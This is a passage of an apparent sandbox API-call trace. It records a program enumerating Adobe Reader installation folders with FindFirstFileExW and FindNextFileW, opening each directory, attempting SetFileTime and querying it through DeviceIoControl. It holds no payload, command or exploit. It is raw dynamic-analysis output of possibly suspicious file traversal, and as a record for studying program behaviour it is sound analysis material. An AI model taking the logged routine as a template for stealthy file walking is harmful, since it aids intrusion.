ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.587] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.587] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfa69, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.587] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfa69, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.587] GetLastError () returned 0x12 [0081.587] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.587] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.587] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.588] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.588] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UKR", cAlternateFileName="")) returned 1 [0081.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.588] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ukr"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.588] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ukr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0081.588] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.588] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1259010 [0081.588] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1259010, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1259010, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.589] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1259010) returned 1 [0081.589] NtClose (Handle=0x168) returned 0x0 [0081.589] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.589] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.589] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.589] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.589] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.589] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.589] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.589] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.590] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.590] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.590] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.590] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.590] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.591] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.591] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1202318 [0081.591] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1267e98 [0081.591] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.591] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3a6af, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.591] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.591] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.591] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.592] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1202338 [0081.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1267fa0 [0081.592] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.593] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3a6af, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.593] GetLastError () returned 0x12 [0081.593] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.593] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.593] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.593] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0081.593] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3a6af, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 1 [0081.593] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3a6af, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="")) returned 0 [0081.593] GetLastError () returned 0x12 [0081.593] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.593] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.593] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.594] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UKR", cAlternateFileName="")) returned 0 [0081.594] GetLastError () returned 0x12 [0081.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.594] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0081.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.594] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b5b0) returned 1 [0081.594] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Locale", cAlternateFileName="")) returned 1 [0081.594] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b5b0 [0081.595] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.595] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0081.595] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0081.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1259010 [0081.595] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1259010, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1259010, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0081.596] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1259010) returned 1 [0081.596] NtClose (Handle=0x174) returned 0x0 [0081.596] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b5b0) returned 1 [0081.596] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b5b0 [0081.596] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.596] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.596] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0081.598] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.598] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca_ES", cAlternateFileName="")) returned 1 [0081.598] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs_CZ", cAlternateFileName="")) returned 1 [0081.598] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da_DK", cAlternateFileName="")) returned 1 [0081.598] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de_DE", cAlternateFileName="")) returned 1 [0081.598] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es_ES", cAlternateFileName="")) returned 1 [0081.598] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu_ES", cAlternateFileName="")) returned 1 [0081.598] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi_FI", cAlternateFileName="")) returned 1 [0081.598] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f824e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr_FR", cAlternateFileName="")) returned 1 [0081.598] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr_HR", cAlternateFileName="")) returned 1 [0081.598] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu_HU", cAlternateFileName="")) returned 1 [0081.598] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it_IT", cAlternateFileName="")) returned 1 [0081.598] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja_JP", cAlternateFileName="")) returned 1 [0081.599] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko_KR", cAlternateFileName="")) returned 1 [0081.599] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb_NO", cAlternateFileName="")) returned 1 [0081.599] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl_NL", cAlternateFileName="")) returned 1 [0081.599] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl_PL", cAlternateFileName="")) returned 1 [0081.599] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1 [0081.599] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, 